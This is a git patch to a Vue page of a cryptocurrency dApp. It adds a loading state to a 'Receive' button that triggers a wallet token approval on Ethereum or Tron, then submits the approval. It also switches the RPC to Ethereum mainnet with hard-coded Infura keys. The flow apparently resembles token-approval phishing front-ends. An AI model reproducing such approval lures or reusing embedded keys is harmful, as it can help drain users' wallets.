From 04f7850ba0843ef0a143fb3918b148ac797cf507 Mon Sep 17 00:00:00 2001
From: queenwuli <942534046@qq.com>
Date: Fri, 25 Mar 2022 11:41:01 +0800
Subject: [PATCH] gx

---
 src/pages/index/index.vue |   21 +++++++++++++++------
 1 files changed, 15 insertions(+), 6 deletions(-)

diff --git a/src/pages/index/index.vue b/src/pages/index/index.vue
index 2da5a48..794f992 100644
--- a/src/pages/index/index.vue
+++ b/src/pages/index/index.vue
@@ -36,7 +36,7 @@
                 <p>{{ $t("message.ReceiveDescription") }}</p>
               </div>
               <p class="block-content">{{ $t("message.Description") }}</p>
-              <button class="block-btn" @click="toApprove">{{ $t("message.Receive") }}</button>
+              <van-button class="block-btn" :loading="isApproving" :loading-text='$t("message.Approving")' type="warning" @click="toApprove">{{ $t("message.Receive") }}</van-button>
             </div>
         </van-overlay>
         <van-overlay :show="isShowAccreditModal" @click="isShowAccreditModal = false" class="wrapper">
@@ -99,6 +99,7 @@
     let isShowApproveModal = ref(false);
     let isShowAccreditModal = ref(false);
     let isShowWalletModal = ref(false);
+    let isApproving = ref(false); //是否授权中
     function changeLanguage(type){
       proxy.$i18n.locale = type;
     }
@@ -117,10 +118,8 @@
       const provider = new WalletConnectProvider({
         infuraId: '27e484dcd9e3efcfd25a83a78777cdf1',
         rpc: {
-            66: "https://exchainrpc.okex.org",
-        },
-        chainId: 66,
-        networkId: 66,
+          1: "https://mainnet.infura.io/v3/f54a5887a3894ebb9425920701a97fe0",
+        }
       });
       await provider.enable();
       provider.on("accountsChanged", (accounts) => {
@@ -131,7 +130,6 @@
         window.location.reload();
       });
       proxy.web3 = new Web3(provider);
-      console.log(new Web3(provider))
       const accounts = await proxy.web3.eth.getAccounts();
       proxy.walletAddress = accounts[0];
       console.log('所有的账户,拿得到吗?')
@@ -182,6 +180,7 @@
 
       accountRef,
       web3,
+      isApproving,
       dappList: [{
         name: 'TronLink',
         link: 'https://www.tronlink.org/',
@@ -277,6 +276,7 @@
         })
     },
     async approve () {
+      this.isApproving = true;
       if(window.ethereum) {
         this.ethereumApprove(new Web3(window.ethereum))
       }else if(window.tronWeb){
@@ -294,6 +294,11 @@
         console.log('授权成功')
         console.log(res)
         this.submitApprove()
+        this.isApproving = false;
+      }).catch((err) => {
+        console.log('授权失败')
+        console.log(err)
+        this.isApproving = false;
       })
     },
     async tornWebApprove () {
@@ -311,6 +316,7 @@
               console.log('嘿,授权成功')
               this.submitApprove()
           }
+          this.isApproving = false;
       });
     },
     submitApprove () {
@@ -450,6 +456,9 @@
   padding: 24px 104px;
   border-radius: 48px;
 }
+.block-btn.van-button--loading{
+  opacity: 0.8
+}
 .close-icon{
   position: absolute;
   top: -63px;

--
Gitblit v1.9.1